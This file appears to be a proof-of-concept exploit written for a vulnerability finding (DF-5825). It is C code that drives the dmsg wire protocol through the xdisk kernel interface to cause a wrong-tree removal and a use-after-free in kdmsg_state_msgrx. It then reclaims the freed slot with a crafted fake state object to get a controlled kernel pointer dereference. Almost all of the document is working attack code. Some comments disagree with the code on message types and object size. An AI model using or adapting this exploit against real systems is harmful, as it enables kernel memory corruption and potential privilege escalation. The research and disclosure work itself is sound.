DF-5825 / trigger_dmsg_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 | /* * DF-5825 - kdmsg_state_msgrx() rxcmd REPLY-direction injection -> * wrong-tree RB_REMOVE -> state-tree cross-corruption + UAF. * * Rig: create a socketpair, hand one end to the kernel xdisk iocom via * XDISKIOCATTACH, then drive the raw dmsg wire protocol from userland * (we are the "peer", which is exactly the attacker position in the * threat model of a hammer2/dmaster cluster link). * * Sequence (see findings/DF-5825 for the full state-machine trace): * msg1 LNK_SPAN|CREATE|DELETE, msgid=M -> creates staterd state S, * kernel replies LNK_ERROR|CREATE|REPLY|DELETE => txcmd has DELETE, * rxcmd has no DELETE => S stays RBINSERTED in staterd_tree. * msg2 LNK_SPAN|REPLY|CREATE, msgid=M, REVTRANS=0 * -> kdmsg_state_msgrx() case REPLY|CREATE accepts it against S * (lookup direction chosen by attacker-cleared REVTRANS) and * overwrites S->rxcmd = SPAN|REPLY|CREATE. REPLY bit injected. * msg3 LNK_SPAN|REPLY|DELETE, msgid=M, REVTRANS=0 * -> DELETE processing picks the tree by (rxcmd & DMSGF_REPLY) * => RB_REMOVE(&iocom->statewr_tree, S) while S is linked in * staterd_tree. staterd_tree.rbh_root left dangling at S; * S then freed. All KKASSERTs on the path pass. * msg4* LNK_SPAN|CREATE|DELETE, msgid=M2, aux=192 bytes crafted as a fake * kdmsg_state (aux kmalloc lands in the same 192-byte slab zone as * the freed 160-byte state) -> reader's RB_FIND(staterd_tree) walks * the dangling root into reclaimed, attacker-controlled memory and * dereferences a fully controlled rbe_right pointer. * * Expected: kernel page fault in kdmsg_state_msgrx/kdmsg_state_cmp with the * fault address equal to the magic pointer from the fake aux content * (0x4242424242424242), i.e. a controlled kernel pointer dereference. * * Build: cc -O -o dmsg_uaf dmsg_uaf.c * Run: ./dmsg_uaf (as root - only rig plumbing needs root; the attack * itself is pure wire-protocol input from the peer) */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/uio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <stdint.h> #include <poll.h> /* ---- minimal userland copy of the dmsg wire protocol ---- */ struct dmsg_hdr { uint16_t magic; uint16_t reserved02; uint32_t salt; uint64_t msgid; uint64_t circuit; uint64_t link_verifier; uint32_t cmd; uint32_t aux_crc; uint32_t aux_bytes; uint32_t error; uint64_t aux_descr; uint32_t reserved38; uint32_t hdr_crc; }; #define DMSG_HDR_MAGIC 0x4832 #define DMSG_ALIGN 64 #define DMSGF_CREATE 0x80000000u #define DMSGF_DELETE 0x40000000u #define DMSGF_REPLY 0x20000000u #define DMSGF_ABORT 0x10000000u #define DMSGF_REVTRANS 0x08000000u #define DMSGF_REVCIRC 0x04000000u #define DMSGF_CMDSWMASK 0x00FFFFFFu #define DMSGF_SIZE 0x000000FFu #define LNK_SPAN_CMD 0x00001207u /* LNK proto, cmd 0x12, 7*64=448 */ #define LNK_CONN_CMD 0x00001106u #define LNK_PING_CMD 0x00000101u #define XX3_CMD 0x00300101u /* unknown proto/cmd, SIZE=1: xdisk's default case replies with kdmsg_msg_reply(NOSUPP), closing our tx direction only -> half-closed staterd state (rxcmd lacks DELETE) */ struct xdisk_attach_ioctl { int fd; int unused01; int32_t reserved02[8]; }; #define XDISKIOCATTACH _IOWR('X', 0, struct xdisk_attach_ioctl) #define DOALIGN(x) (((x) + 63) & ~63) static int sv[2]; /* peer end of kernel iocom */ static int xd_fd = -1; static void die(const char *s) { perror(s); exit(1); } static void send_msg(uint32_t cmd, uint64_t msgid, uint64_t circuit, const void *aux, uint32_t aux_size) { size_t hbytes = (cmd & DMSGF_SIZE) * DMSG_ALIGN; size_t abytes = aux_size ? DOALIGN(aux_size) : 0; unsigned char *buf = calloc(1, hbytes + abytes); struct dmsg_hdr *h = (struct dmsg_hdr *)buf; size_t off = 0; h->magic = DMSG_HDR_MAGIC; h->salt = 0; h->msgid = msgid; h->circuit = circuit; h->link_verifier = 0; h->cmd = cmd; h->aux_crc = 0; h->aux_bytes = aux_size; h->error = 0; h->aux_descr = 0; h->hdr_crc = 0; if (aux && abytes) memcpy(buf + hbytes, aux, aux_size); while (off < hbytes + abytes) { ssize_t n = write(sv[1], buf + off, hbytes + abytes - off); if (n <= 0) die("write"); off += n; } free(buf); } /* framed read with timeout; returns 0 on frame, -1 timeout */ static int recv_msg(struct dmsg_hdr *out, int timeout_ms) { struct pollfd pfd = { .fd = sv[1], .events = POLLIN }; unsigned char hdrbuf[64]; size_t hbytes, abytes; ssize_t n; if (poll(&pfd, 1, timeout_ms) <= 0) return (-1); n = read(sv[1], hdrbuf, 64); if (n != 64) die("read hdr"); memcpy(out, hdrbuf, 64); hbytes = (out->cmd & DMSGF_SIZE) * DMSG_ALIGN; if (hbytes < 64 || hbytes > 2048) return (-1); while (hbytes > 64) { /* drain extended header */ unsigned char tmp[512]; size_t want = hbytes - 64; if (want > sizeof(tmp)) want = sizeof(tmp); n = read(sv[1], tmp, want); if (n <= 0) die("read ext"); hbytes -= n; } abytes = out->aux_bytes ? DOALIGN(out->aux_bytes) : 0; while (abytes) { unsigned char tmp[4096]; size_t want = abytes > sizeof(tmp) ? sizeof(tmp) : abytes; n = read(sv[1], tmp, want); if (n <= 0) die("read aux"); abytes -= n; } return (0); } static void drain(int ms) { struct dmsg_hdr h; while (recv_msg(&h, ms) == 0) { printf("[rig] rx: cmd=%08x msgid=%016jx error=%02x\n", h.cmd, (uintmax_t)h.msgid, h.error); } } int main(int argc, char **argv) { struct xdisk_attach_ioctl xa; struct dmsg_hdr h; uint64_t msgid1 = 0x41414100dead0001ULL; unsigned char fake[160]; /* sizeof(kdmsg_state)==160: aux of * 160 bytes lands in the same * kmalloc zone (zi 160/16+7) */ int i; int attempts = (argc > 1) ? atoi(argv[1]) : 16; /* attach: socketpair end 0 goes to the kernel, we drive end 1 */ if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) die("socketpair"); xd_fd = open("/dev/xdisk", O_RDWR); if (xd_fd < 0) die("open /dev/xdisk (kldload xdisk?)"); bzero(&xa, sizeof(xa)); xa.fd = sv[0]; if (ioctl(xd_fd, XDISKIOCATTACH, &xa) < 0) die("XDISKIOCATTACH"); printf("[rig] attached iocom via fd %d\n", sv[0]); /* kernel autoinitiates LNK_CONN|CREATE - drain it */ drain(1000); /* msg1: CREATE-only unknown command -> staterd state S created; * xaio_rcvdmsg() default case replies kdmsg_msg_reply(NOSUPP) * => txcmd gets DELETE, rxcmd stays without DELETE * => S half-closed and still RBINSERTED in staterd_tree */ printf("[rig] msg1 XX3|CREATE msgid=%016jx\n", (uintmax_t)msgid1); send_msg(XX3_CMD | DMSGF_CREATE, msgid1, 0, NULL, 0); /* wait for the kernel's terminating reply (closes our tx direction) */ for (i = 0; i < 20; i++) { if (recv_msg(&h, 500) == 0) { printf("[rig] rx: cmd=%08x msgid=%016jx error=%02x\n", h.cmd, (uintmax_t)h.msgid, h.error); if (h.msgid == msgid1) break; } } usleep(300000); /* let cleanuptx run: txcmd |= DELETE */ /* msg2: REPLY|CREATE against S -> rxcmd REPLY bit injection */ printf("[rig] msg2 XX3|REPLY|CREATE msgid=%016jx (rxcmd injection)\n", (uintmax_t)msgid1); send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_CREATE, msgid1, 0, NULL, 0); usleep(300000); drain(300); /* msg3: REPLY|DELETE -> RB_REMOVE from the WRONG tree; S freed */ printf("[rig] msg3 XX3|REPLY|DELETE msgid=%016jx (wrong-tree " "RB_REMOVE)\n", (uintmax_t)msgid1); send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_DELETE, msgid1, 0, NULL, 0); usleep(500000); drain(300); printf("[rig] msg3 processed - staterd_tree root should now dangle\n"); /* msg4: walk the dangling root through reclaimed, fake state * (layout verified by probe_state on the guest: rbe_left @0, * rbe_right @8, rbe_parent @16, iocom @88, msgid @120) */ bzero(fake, sizeof(fake)); *(uint64_t *)(fake + 0) = 0x4141414141414141ULL; /* rbe_left */ *(uint64_t *)(fake + 8) = 0x4242424242424242ULL; /* rbe_right */ *(uint64_t *)(fake + 16) = 0; /* rbe_parent*/ *(uint64_t *)(fake + 88) = 0; /* iocom */ *(uint64_t *)(fake + 120) = 0; /* msgid */ for (i = 0; i < attempts; i++) { uint64_t msgid2 = 0x42424200cafe0000ULL + i; printf("[rig] msg4.%d SPAN|CREATE|DELETE msgid=%016jx " "+ fake-state aux\n", i, (uintmax_t)msgid2); send_msg(LNK_SPAN_CMD | DMSGF_CREATE | DMSGF_DELETE, msgid2, 0, fake, sizeof(fake)); /* if we are still alive the reclaim missed; retry */ usleep(400000); drain(400); } /* final poke: tear the link down, teardown walks the poisoned tree */ printf("[rig] closing peer socket (teardown poke)\n"); close(sv[1]); sleep(3); drain(300); printf("NO-PANIC\n"); return (0); } |